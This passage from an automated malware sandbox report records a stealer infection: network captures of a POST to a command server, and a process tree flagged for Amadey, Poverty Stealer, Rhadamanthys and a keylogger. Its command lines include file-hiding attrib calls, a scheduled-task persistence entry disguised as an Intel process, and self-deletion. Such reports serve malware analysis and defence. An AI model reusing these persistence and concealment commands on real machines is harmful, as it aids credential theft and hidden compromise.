2024-12-17 21:08:01 UTC	15331	OUT	Data Raw: 37 b3 ae ab 4a e4 2d d0 3f b8 fc e2 14 31 db 2c 42 6c fa a7 99 a9 3a c4 98 a7 11 fb 8f 0b 00 bd b5 70 76 b2 97 f0 6a 1a 3a b9 af 10 17 e4 fa 0e ef e3 93 7a 9c 03 15 5e 3a cf 50 b2 47 b3 41 0b df e3 ca 38 b5 6a 82 24 5d 8d 5d 1a 3a d8 4f e2 b4 df 76 69 81 ea 4d c6 37 ae ac 11 5a b6 28 f4 4a 87 4f 92 a3 64 93 12 68 75 a6 2d 24 2c e5 88 d2 50 43 9f 7e 8b d8 3d 6b 87 11 1a aa 47 68 8a 19 8a 9d c9 1f 35 3f 28 0b 4d a3 e4 dd 36 d6 75 c7 ce 09 db a6 46 37 ad 2f a6 7a c2 e4 29 f5 95 42 74 2e e7 6c af b9 20 1b be 66 72 98 e6 2b 44 a9 55 80 e8 6e b3 a8 d6 33 39 93 cd ec 78 1b 0b ef 08 d3 4c 3c 3b de 61 70 d5 d3 7a e6 4f f0 95 d8 78 41 35 b1 e2 99 3a b4 64 17 7a 57 fd c3 d6 71 ba e5 b6 6c 51 bc 9a e3 37 1b 08 53 84 67 4d 0e dc 1c ea 3b bc 02 38 14 40 ab 33 a9 58 0f Data Ascii: 7J-?1,Bl:pvj:z^:PGA8j$]]:OviM7Z(JOdhu-$,PC~=kGh5?(M6uF7/z)Bt.l fr+DUn39xL<;apzOxA5:dzWqlQ7SgM;8@3X
2024-12-17 21:08:01 UTC	15331	OUT	Data Raw: 20 8c d0 54 3e 60 75 a6 07 4f b5 be fa 59 cc eb b2 fb 89 34 19 39 1a 2d 1c ff 9f 09 a0 33 67 b6 12 81 46 6a 25 ed 79 f1 c4 ed ae d0 33 10 38 29 d0 33 e9 19 37 1c 98 1a b8 be 91 f8 33 b1 2d e8 ee f0 c8 63 11 b1 b0 23 97 c1 58 47 7b bf 46 ef 1e d0 e0 a7 a2 c1 3b 4b f7 e4 09 8e 2d f3 5e 67 c7 4b 6f 6d 81 a2 8e 6a a9 67 e1 8a 37 b4 84 62 e5 bd be 8c bb 9d 4b 8b 26 91 e8 36 20 85 96 59 5d a8 de ff b4 b1 4d f6 62 5b 68 dc 50 ea fe af ab fb 95 98 09 0f 22 98 ff 6e 78 4e 86 d6 cf cf b4 ac 17 3f 62 7b 2f 18 81 7c 8b ab 2d 92 d7 ff 1b 8a 71 2a a2 e2 2e d2 7b 53 1d cb 0c dc 4e 7e 05 0f 86 bc d6 e5 69 92 4a 9f 87 83 62 d2 a6 7e ee 8f b0 cc bc 64 d0 d2 b7 b4 91 2a f1 8b 80 c7 17 7d de 91 3c 1f cb 65 b4 cf 4c f8 1c 95 3f 1f 05 d7 56 db 92 c9 25 7c ad 0e 0c 70 88 f8 7d Data Ascii: T>`uOY49-3gFj%y38)373-c#XG{F;K-^gKomjg7bK&6 Y]Mb[hP"nxN?b{/\|-q.{SN~iJb~d}<eL?V%\|p}
2024-12-17 21:08:01 UTC	15331	OUT	Data Raw: 01 70 b8 ff ac f0 dc a2 34 a5 0d 41 aa b3 30 39 af 2d f5 a2 e9 e0 b4 ad 27 e6 db ae 2b 9e bc 07 85 64 f9 2d 51 ec 37 df 6d ff ec dd 9c 60 d7 af f6 98 7d a9 1f 7c 8c d1 4c 06 29 36 44 ba 09 76 c1 96 df ec 10 cf 09 15 ec 42 73 bc 96 a2 42 37 37 30 6f e9 4b da bd a0 4b 4c f8 d6 28 5c e6 98 55 dd 76 92 8a 0a 68 e5 7c b9 67 be 74 1a 47 aa 16 03 0d 1f 19 6c 65 54 4c dd a0 12 e2 44 56 0e 3d d9 d2 c5 31 95 3c 88 0d f3 83 a9 e9 2c 3d d9 c1 90 0b c5 72 65 f1 d3 df d0 57 0a 7d bc 0a 4b 77 fa e2 8b 34 f8 df 0b d6 4d 1d b4 6f 49 bb 86 1d 1b fc 7f 13 9d eb 48 7c ac 49 37 53 f4 4c ff 77 f8 9a 09 48 af ec b8 72 c6 ce 08 ef 94 f9 69 4f de e1 6e ce 10 b3 ea dd a2 d5 8f 31 9a 84 78 d7 d8 f5 ff 1c fa bd d4 7b e4 fb 23 2d 1c bd 71 ef 99 f7 df 0e 26 d4 7d 34 44 22 05 aa fc 3d Data Ascii: p4A09-'+d-Q7m`}\|L)6DvBsB770oKKL(\Uvh\|gtGleTLDV=1<,=reW}Kw4MoIH\|I7SLwHriOn1x{#-q&}4D"=
2024-12-17 21:08:01 UTC	15331	OUT	Data Raw: 71 d5 81 98 11 09 22 2e ce c7 6d c6 d7 1b 01 a2 2f fc ad b0 3c 48 91 f0 8e a3 03 7a 22 5c ed c7 63 84 49 c0 86 8c aa 68 8b 2f 62 8f 37 c1 83 7e 12 f9 04 a4 84 1f b8 4d d1 82 a9 80 d3 33 ce 3e 8c 20 fe 64 0b a3 68 cb 12 ff 15 d9 eb 38 52 5e 95 71 b4 3b 4b 46 8d 21 f1 4b 65 3d 3d 8d 65 9b 66 87 ff fc 16 9f 81 7a e1 44 6a 51 94 5e 48 50 43 95 a3 81 5d 7b 6a 13 6d fe 60 39 aa f9 b6 97 40 47 09 9d 3c 7f cc a5 9f b6 47 e4 a0 1c 31 89 ca 91 10 59 8c b8 3e 67 7a 5e a8 4b 53 57 25 b3 14 b5 74 32 23 4a 04 77 09 bb d3 86 91 77 db 73 1f 34 6b 36 2d 99 7f 43 18 01 df c6 2e 09 a0 3c a0 9f 43 14 05 8b 3a c8 03 d3 ab c5 68 67 2f 3e ab 95 c6 b9 d4 ea f1 07 c6 ac a7 4f 5f 5e 9f 33 37 ea ac 1c 69 8e dc d0 cd 78 cc 4f 85 c1 6b c6 7f e5 de 67 cc 3c 7f 9c 14 70 79 d2 24 a3 72 Data Ascii: q".m/<Hz"\cIh/b7~M3> dh8R^q;KF!Ke==efzDjQ^HPC]{jm`9@G<G1Y>gz^KSW%t2#Jwws4k6-C.<C:hg/>O_^37ixOkg<py$r
2024-12-17 21:08:03 UTC	1050	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:08:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g26h9r911v24qpadr1jd9ujt66; expires=Sat, 12-Apr-2025 14:54:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fk7OnxRbY%2BKlgduq%2FsR0%2BhfIa3%2BQPp29oDkQ50Fti4KUZW7dDzB9yoWpmeVeS82HvHHVzUAEpIXSnD8GeBIy8tA1PEChBkItFnyu%2F2tk8b5xUJYCas41D8sde2k68bjvfEWLFcj5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e2d47e797271-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1815&min_rtt=1797&rtt_var=711&sent=317&recv=594&lost=0&retrans=0&sent_bytes=2847&recv_bytes=572962&delivery_rate=1499743&cwnd=225&unsent_bytes=0&cid=10b141d0a96ce3a7&ts=2284&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50074	172.67.209.202	443	1648	C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:08:04 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: pancakedipyps.click
2024-12-17 21:08:04 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d 26 68 77 69 64 3d 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=FATE99--test&j=&hwid=A9B01461D2239248AC8923850305D13E
2024-12-17 21:08:05 UTC	1034	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6csngiik4it7vhcbb92afhho4q; expires=Sat, 12-Apr-2025 14:54:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vWtxRwfhGoFKndSKmxgOU24xeHx3CERqS7zEomyhNGaK9oHEsxbQehAQYNE3OtVOdpXYaySqpvtGFeOjelmFjsmdUhKCw8MMJa1quxqeJtCiccPJ5q0pEt%2FJhFCEGE23z%2F3rxPxA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e2ecabf20f99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1652&min_rtt=1647&rtt_var=628&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=984&delivery_rate=1728833&cwnd=164&unsent_bytes=0&cid=b3230b4e7be0fcab&ts=755&x=0"
2024-12-17 21:08:05 UTC	54	IN	Data Raw: 33 30 0d 0a 52 6c 55 67 62 71 6a 58 48 6f 47 6d 4b 54 74 49 55 2b 6c 41 6d 66 56 42 6f 49 30 31 4f 70 4f 54 6b 57 6a 37 76 64 62 74 7a 33 45 64 43 41 3d 3d 0d 0a Data Ascii: 30RlUgbqjXHoGmKTtIU+lAmfVBoI01OpOTkWj7vdbtz3EdCA==
2024-12-17 21:08:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:05:07
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe10000
File size:	3'003'392 bytes
MD5 hash:	838DFE4FDFE00ACD5160ED5F7E5FE620
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1771413470.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:05:10
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x800000
File size:	3'003'392 bytes
MD5 hash:	838DFE4FDFE00ACD5160ED5F7E5FE620
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1803462393.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:06:00
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x800000
File size:	3'003'392 bytes
MD5 hash:	838DFE4FDFE00ACD5160ED5F7E5FE620
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2299564174.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:06:09
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe"
Imagebase:	0xbd0000
File size:	30'208 bytes
MD5 hash:	D7F262A8282BE1508048344C20404DE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PovertyStealer, Description: Yara detected Poverty Stealer, Source: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_PovertyStealer, Description: Yara detected Poverty Stealer, Source: 00000006.00000000.2389263096.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_PovertyStealer, Description: Yara detected Poverty Stealer, Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:06:16
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe"
Imagebase:	0x2d0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:06:16
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x800000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:06:20
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe"
Imagebase:	0x2d0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2728015751.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:06:28
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe"
Imagebase:	0xd90000
File size:	4'434'944 bytes
MD5 hash:	D001AE31BA54295C5FFEAC731279A162
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	16:06:41
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe"
Imagebase:	0x780000
File size:	4'444'160 bytes
MD5 hash:	43E41AEC9E2C027A0316B7500F14B9D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:06:53
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	16:06:59
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff6899a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	16:06:59
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	16:07:00
Start date:	17/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff70a550000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:07:00
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0xd90000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:07:00
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0xd90000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:07:01
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0xd90000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:07:01
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0xd90000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:07:01
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0xd90000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:07:01
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0xd90000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:07:01
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0xd90000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:07:02
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0xd90000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:07:03
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe"
Imagebase:	0xd70000
File size:	1'971'200 bytes
MD5 hash:	0409213E636D8433F9BE61EAC00CDB3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000019.00000003.2948270838.0000000003230000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000019.00000003.2955258764.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000019.00000003.2963371234.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000019.00000003.2957164373.0000000005C90000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:07:03
Start date:	17/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff7e3610000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:07:03
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff7b8be0000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:07:04
Start date:	17/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7e3610000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:07:04
Start date:	17/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7e3610000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:07:04
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:07:04
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:07:04
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:07:04
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:07:04
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:07:04
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:07:05
Start date:	17/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff737560000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:07:06
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x110000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000025.00000003.2965730238.0000000005510000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000025.00000003.2966024022.0000000005730000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000025.00000002.2977348645.0000000003600000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000025.00000003.2962028752.0000000003560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	16:07:07
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 340 -s 652
Imagebase:	0x400000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
